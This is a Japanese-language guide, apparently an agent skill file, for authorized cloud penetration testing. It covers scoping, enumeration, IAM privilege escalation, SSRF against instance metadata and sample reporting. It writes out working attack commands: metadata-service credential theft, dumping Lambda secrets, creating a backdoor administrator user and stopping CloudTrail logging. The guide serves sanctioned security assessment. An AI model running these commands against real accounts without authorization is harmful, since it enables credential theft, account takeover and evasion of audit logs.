conducting-cloud-penetration-testing

クラウド侵入テストの実施

使用する場面

• 本番環境へのデプロイ前に、クラウド環境の認可済みセキュリティ評価を実施する場合
• 大規模なアーキテクチャ変更や移行の後に、クラウドセキュリティ制御を検証する場合
• コンプライアンス要件により、クラウドインフラストラクチャの年次侵入テストが義務付けられている場合
• 現実的なクラウドベースの攻撃シナリオをシミュレーションして、インシデント対応の準備状況をテストする場合
• 複数アカウントまたはマルチクラウド環境におけるラテラルムーブメントのリスクを評価する場合

クラウドアカウントに対する無許可のテスト、クラウドプロバイダーのインフラストラクチャ自体のテスト（責任共有モデルの対象）、またはクラウドプロバイダーから明示的な承認を得ていない DDoS シミュレーションには使用しないでください。

前提条件

• クラウドアカウント所有者からの書面による承認と、スコープ定義書
• AWS、Azure、または GCP の侵入テストポリシーへの同意（AWS ではほとんどのサービスについて事前承認は不要になりました）
• 隔離されたテストアカウント、またはブレークグラス手順が整備された、明示的にスコープを定めた本番アカウント
• クラウド固有の攻撃ツールのインストール：Pacu（AWS）、ScoutSuite、Prowler、CloudFox
• 検出事項を分類するための MITRE ATT&CK Cloud マトリックス

ワークフロー

ステップ 1：スコープとエンゲージメントルールの定義

責任共有モデルに基づいてテストの境界を定めます。顧客は、設定、IAM ポリシー、アプリケーションセキュリティ、およびデータ保護のテストに責任を負います。クラウドプロバイダーは、物理インフラストラクチャ、ハイパーバイザー、およびマネージドサービスの内部を管理します。

Cloud Penetration Test Scope Document
=======================================
Target: AWS Account 123456789012 (Production)
Testing Window: 2025-02-24 08:00 UTC to 2025-02-28 18:00 UTC
Authorization: Signed by CISO, dated 2025-02-20

IN SCOPE:
  - IAM users, roles, policies, and cross-account trust
  - EC2 instances, security groups, and network ACLs
  - S3 bucket policies and data access controls
  - Lambda functions, API Gateway endpoints
  - RDS/DynamoDB access controls and encryption
  - EKS cluster RBAC and network policies
  - CloudTrail, Config, and monitoring gaps

OUT OF SCOPE:
  - AWS managed service internals (RDS engine, Lambda runtime)
  - DDoS attacks or volumetric testing
  - Physical infrastructure or hypervisor attacks
  - Social engineering of AWS support

EMERGENCY CONTACT: [email protected], +1-555-0199

ステップ 2：偵察とクラウドの列挙

クラウド固有のツールを使用して、公開サービス、パブリック IP、S3 バケット、IAM 設定、メタデータエンドポイントなどの攻撃対象領域を列挙します。

# ScoutSuite multi-cloud assessment
scout suite aws --profile target-account --report-dir ./scout-report

# Prowler comprehensive AWS security assessment
prowler aws -M json-ocsf -o ./prowler-output --profile target-account

# CloudFox for identifying privilege escalation paths
cloudfox aws --profile target-account all-checks

# Enumerate public S3 buckets
for bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do
  aws s3api get-bucket-policy-status --bucket $bucket 2>/dev/null | grep -q "true" && echo "PUBLIC: $bucket"
done

# Check for IMDS v1 (vulnerable to SSRF)
aws ec2 describe-instances \
  --query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]' \
  --output table

ステップ 3：IAM 権限昇格テスト

Pacu を使用して、低い権限から管理者アクセスへの権限昇格を可能にする IAM の設定ミスを特定し、悪用します。

# Initialize Pacu session
pacu

# Set stolen or test credentials
set_keys --key-alias test-creds

# Run IAM enumeration modules
run iam__enum_users_roles_policies_groups
run iam__enum_permissions

# Check for privilege escalation paths
run iam__privesc_scan

# Common escalation paths to test:
# 1. iam:CreatePolicyVersion - Create new policy version with admin access
# 2. iam:AttachUserPolicy - Attach AdministratorAccess to self
# 3. iam:PassRole + lambda:CreateFunction - Create Lambda with admin role
# 4. iam:PassRole + ec2:RunInstances - Launch EC2 with admin instance profile
# 5. sts:AssumeRole - Cross-account role assumption without MFA condition

ステップ 4：SSRF によるクラウドメタデータサービスの悪用

ウェブアプリケーションをテストし、169.254.169.254 のインスタンスメタデータサービス（IMDS）に到達して IAM ロールの認証情報を窃取できるサーバーサイドリクエストフォージェリの脆弱性がないか確認します。

# Test for IMDS v1 access (no token required)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Test for IMDS v2 (requires token - more secure)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure IMDS equivalent
curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# GCP metadata service
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

ステップ 5：ラテラルムーブメントとデータアクセス

アカウント間のロール引き受け、VPC ピアリング接続、共有リソースへのアクセスをテストし、ラテラルムーブメントの機会を洗い出します。

# Enumerate cross-account role trusts
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS!=`null`]].[RoleName,Arn]' --output table

# Test cross-account assumption
aws sts assume-role \
  --role-arn arn:aws:iam::987654321098:role/CrossAccountRole \
  --role-session-name pentest-session

# Enumerate accessible S3 data with stolen credentials
aws s3 ls --recursive s3://target-bucket/ --summarize

# Check Lambda environment variables for secrets
aws lambda list-functions --query 'Functions[*].[FunctionName]' --output text | while read fn; do
  aws lambda get-function-configuration --function-name "$fn" \
    --query 'Environment.Variables' --output json 2>/dev/null
done

ステップ 6：永続化と検出回避のテスト

新しい IAM ユーザーやアクセスキーの作成、Lambda バックドア、CloudTrail の無効化などの永続化手段を、組織の監視機能が検出できるかテストします。

# Test: Create backdoor IAM user (authorized test only)
aws iam create-user --user-name pentest-backdoor
aws iam create-access-key --user-name pentest-backdoor
aws iam attach-user-policy --user-name pentest-backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Test: Disable CloudTrail (verify GuardDuty alerts)
aws cloudtrail stop-logging --name management-trail

# Test: Create Lambda for persistence (authorized test only)
# Verify: Did GuardDuty generate Stealth:IAMUser/CloudTrailLoggingDisabled?
# Verify: Did Security Hub alert on the new admin user?

# CLEANUP: Remove all persistence artifacts after testing
aws iam delete-access-key --user-name pentest-backdoor --access-key-id AKIAEXAMPLE
aws iam detach-user-policy --user-name pentest-backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam delete-user --user-name pentest-backdoor
aws cloudtrail start-logging --name management-trail

ステップ 7：MITRE ATT&CK との対応付けを行って検出事項を報告

すべての検出事項について、MITRE ATT&CK Cloud マトリックスとの対応付け、重大度、概念実証、ビジネスへの影響、修正ガイダンスを記録します。

主要な概念

用語	定義
責任共有モデル	プロバイダーがインフラストラクチャを保護し、顧客がデータ、設定、アクセス制御を保護するクラウドセキュリティのフレームワーク
IMDS	169.254.169.254 にあるインスタンスメタデータサービス。インスタンスの ID、認証情報、設定データを提供します。IMDSv2 ではトークンベースのアクセスが必要です
権限昇格	IAM の設定ミスを悪用し、クラウドアカウント内の限定的な権限から管理者アクセスへ昇格すること
ラテラルムーブメント	侵害された認証情報や信頼関係を利用して、他のアカウント、VPC、またはクラウドプロバイダーのリソースにアクセスすること
Pacu	侵入テスト用のオープンソース AWS 悪用フレームワーク。列挙、権限昇格、永続化のモジュールを提供します
ScoutSuite	マルチクラウドのセキュリティ監査ツール。設定データを収集し、リスク検出事項を含む HTML レポートを生成します
MITRE ATT&CK Cloud	Initial Access、Execution、Persistence、Exfiltration など、クラウド環境に特化した敵対者の戦術とテクニックのマトリックス

ツールとシステム

• Pacu：IAM の列挙、権限昇格、永続化テスト用のモジュールを備えた、AWS に特化したエクスプロイトフレームワークです
• ScoutSuite：API データを収集し、包括的なリスクレポートを生成する、マルチクラウド（AWS、Azure、GCP）セキュリティ監査ツールです
• CloudFox：攻撃経路、権限昇格の手段、データへのアクセス機会を特定する、AWS および Azure の列挙ツールです
• Prowler：AWS、Azure、GCP にわたる 300 以上のチェック項目を備えた、オープンソースのクラウドセキュリティ評価ツールです
• Cartography：クラウドリソース間の関係をマッピングし、攻撃経路を視覚的に分析する、Neo4j ベースのツールです

よくあるシナリオ

シナリオ：ウェブアプリケーションの SSRF からアカウントが完全に侵害される

状況：ペネトレーションテスターが、IMDSv1 を実行する EC2 インスタンス上でホストされたウェブアプリケーションに、SSRF の脆弱性を発見します。このインスタンスには、S3 と Lambda に対する広範な権限を持つ IAM ロールが割り当てられています。

アプローチ：

1. SSRF を悪用して http://169.254.169.254/latest/meta-data/iam/security-credentials/ にアクセスします
2. 一時的な IAM 認証情報（AccessKeyId、SecretAccessKey、SessionToken）を抽出します
3. 認証情報を使用してアクセス可能な S3 バケットを列挙し、機密データをダウンロードします
4. 権限昇格によって管理者権限を得るために、そのロールに iam:PassRole と lambda:CreateFunction があるか確認します
5. SSRF からアカウント全体の侵害に至るまでの攻撃チェーン全体を記録します
6. 次の対策を推奨します：IMDSv2 を強制し、IAM ロールの権限範囲を縮小し、アプリケーション層から IMDS へのアクセスをブロックする VPC エンドポイントポリシーを追加します

注意点：IMDSv2 の強制を IMDSv1 とは別にテストしないと、結果が不完全になります。テスト用の成果物（バックドアユーザー、Lambda 関数）を削除し忘れると、エンゲージメント後も実際の脆弱性が残ります。

出力形式

Cloud Penetration Test Report
===============================
Target: AWS Account 123456789012 (Production)
Testing Period: 2025-02-24 to 2025-02-28
Methodology: MITRE ATT&CK Cloud + OWASP Cloud Testing Guide
Tester: Security Team - Authorized Engagement

EXECUTIVE SUMMARY:
  Starting with read-only developer credentials, the assessment achieved
  full administrative access to the production account within 3 hours through
  an IAM privilege escalation chain. 47 findings identified across 7 ATT&CK tactics.

CRITICAL FINDINGS:
[PT-001] IAM Privilege Escalation via iam:CreatePolicyVersion
  ATT&CK: T1098.001 (Account Manipulation: Additional Cloud Credentials)
  Severity: CRITICAL
  Starting Point: Developer role with iam:CreatePolicyVersion permission
  Impact: Full administrative access to all account resources
  Evidence: Created policy version granting iam:* and s3:* to test role
  Remediation: Remove iam:CreatePolicyVersion from developer roles, add permission boundary

[PT-002] SSRF to IMDS Credential Theft
  ATT&CK: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API)
  Severity: CRITICAL
  Starting Point: Web application URL parameter vulnerable to SSRF
  Impact: Extracted IAM role credentials with S3 and Lambda access
  Remediation: Enforce IMDSv2, apply WAF rules for SSRF, restrict IAM role scope

FINDING SUMMARY BY MITRE ATT&CK TACTIC:
  Initial Access:       4 findings
  Execution:            3 findings
  Persistence:          6 findings
  Privilege Escalation: 8 findings (3 Critical)
  Defense Evasion:      5 findings
  Credential Access:    7 findings
  Discovery:           14 findings
  Total:               47 findings